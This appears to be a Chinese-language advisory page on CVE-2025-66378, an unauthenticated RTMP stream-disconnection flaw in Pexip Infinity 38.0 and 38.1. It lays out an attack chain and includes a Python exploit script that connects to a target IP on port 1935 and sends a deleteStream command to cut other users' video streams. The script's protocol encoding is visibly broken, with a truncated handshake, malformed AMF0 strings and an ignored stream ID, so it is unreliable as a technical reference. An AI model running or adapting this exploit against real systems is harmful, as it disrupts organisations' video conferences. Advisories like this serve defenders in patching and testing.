IPBUF安全漏洞报告
English
CVE-2025-66378 CVSS 5.9 中危

CVE-2025-66378 Pexip Infinity RTMP访问控制不足漏洞

披露日期: 2025-12-25

漏洞信息

漏洞编号
CVE-2025-66378
漏洞类型
访问控制不足
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Pexip Infinity

相关标签

访问控制不足RTMPPexip Infinity视频会议流媒体拒绝服务中危漏洞

漏洞概述

CVE-2025-66378是Pexip Infinity视频会议平台中的一个中等严重性安全漏洞。该漏洞存在于Pexip Infinity 38.0和38.1版本的RTMP(Real-Time Messaging Protocol)实现中,由于访问控制机制不足,攻击者可以在未经认证的情况下断开通过Proxy Node(代理节点)传输的RTMP流。RTMP是一种常用的流媒体协议,广泛应用于实时音视频通信场景。Pexip Infinity作为企业级视频会议解决方案,其Proxy Node负责处理和转发媒体流。该漏洞的CVSS评分为5.9(中危),攻击复杂度为高,无需用户交互和认证即可利用。虽然该漏洞不影响数据的机密性和完整性,但会对系统的可用性造成严重影响,可能导致正在进行的视频会议中断,影响企业正常通信。

技术细节

该漏洞的根本原因在于Pexip Infinity的RTMP实现缺少适当的访问控制验证机制。在正常情况下,RTMP连接应该验证客户端的权限,确保只有授权用户才能执行流管理操作(如断开、重定向等)。然而,在受影响版本中,攻击者可以通过发送特制的RTMP控制消息来触发流断开操作。具体攻击过程为:攻击者首先建立到Proxy Node的RTMP连接,然后发送精心构造的控制命令帧,该帧包含用于标识目标流的参数。由于服务器端未正确验证请求来源的合法性,攻击者可以成功断开任意通过该Proxy Node的RTMP流。这种攻击可以在不中断自身连接的情况下,终止他人的媒体会话。由于RTMP协议本身缺乏内置的端到端认证机制,应用层的访问控制就显得尤为重要,而Pexip Infinity在此处的实现存在缺陷。

攻击链分析

STEP 1
步骤1
攻击者扫描目标网络,发现暴露的Pexip Infinity Proxy Node(通常在端口1935/TCP上提供RTMP服务)
STEP 2
步骤2
攻击者与Proxy Node建立RTMP连接,执行标准的RTMP握手过程(C0/C1/C2)
STEP 3
步骤3
攻击者发送connect命令建立应用连接,获取有效的RTMP会话
STEP 4
步骤4
攻击者构造并发送恶意的deleteStream或类似控制命令帧,包含目标流的标识信息
STEP 5
步骤5
由于服务器端缺少访问控制验证,恶意命令被成功处理,目标的RTMP流被断开
STEP 6
步骤6
攻击者可以重复执行此操作,中断多个正在进行的视频会议会话,造成服务可用性中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66378 PoC - RTMP Stream Disconnection # Target: Pexip Infinity Proxy Node # Affected Versions: 38.0, 38.1 import socket import struct def create_rtmp_handshake(): """Create RTMP handshake packet""" timestamp = struct.pack('>I', 0) zero = b'\x00' * 4 return timestamp + zero def create_rtmp_connect(app_name): """Create RTMP connect command""" command = b'\x02' # String type command += bytes(f'connect', 'utf-8') + b'\x00' command += b'\x00\x00\x00\x00\x00\x00\x00\x00' # Null return command def create_stream_disconnect_command(transaction_id, stream_id): """Create malicious stream disconnect command""" command = b'\x02' # String type command += bytes('deleteStream', 'utf-8') + b'\x00' # AMF0 encode transaction ID command += b'\x00\x40\x14\x00\x00\x00\x00\x00\x00' # Number: 5.0 # AMF0 encode stream ID command += b'\x00\x40\x0f\x00\x00\x00\x00\x00\x00' # Number: stream_id return command def send_rtmp_packet(sock, chunk_stream_id, timestamp, message_type, message_stream_id, payload): """Send RTMP chunk""" # Basic header fmt = 0 csid = chunk_stream_id first_byte = (fmt << 6) | csid # Message header (type 0 for large header) msg_header = struct.pack('>B', first_byte) msg_header += struct.pack('>I', timestamp)[1:] # 3 bytes msg_header += struct.pack('>I', len(payload))[1:] # 3 bytes msg_header += struct.pack('>B', message_type) msg_header += struct.pack('>I', message_stream_id)[1:] # 3 bytes (little endian) sock.send(msg_header + payload) def exploit_cve_2025_66378(target_ip, target_port=1935): """ Exploit for CVE-2025-66378 Insufficient access control in Pexip Infinity RTMP implementation """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Step 1: RTMP Handshake - C0 + C1 sock.send(b'\x03') # C0 sock.send(create_rtmp_handshake()) # C1 print("[*] Sent RTMP handshake C0/C1") # Step 2: Receive S0, S1, S2 sock.recv(1537) sock.send(create_rtmp_handshake()) # C2 print("[*] Completed RTMP handshake") # Step 3: Send connect command connect_payload = create_rtmp_connect('pexip') send_rtmp_packet(sock, 3, 0, 0x14, 0, connect_payload) print("[*] Sent connect command") # Step 4: Send malicious deleteStream command # This exploits the lack of access control disconnect_payload = create_stream_disconnect_command(2, 1) send_rtmp_packet(sock, 3, 0, 0x14, 0, disconnect_payload) print("[*] Sent malicious deleteStream command - attempting to disconnect streams") print("[+] Exploit sent - target streams may be disconnected") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-66378.py <target_ip>") sys.exit(1) target = sys.argv[1] exploit_cve_2025_66378(target)

影响范围

Pexip Infinity 38.0
Pexip Infinity 38.1

防御指南

临时缓解措施
在官方补丁发布之前,建议通过网络访问控制列表(ACL)限制对RTMP端口的访问,仅允许经过授权的内部系统连接Proxy Node。同时监控日志以检测可能的攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表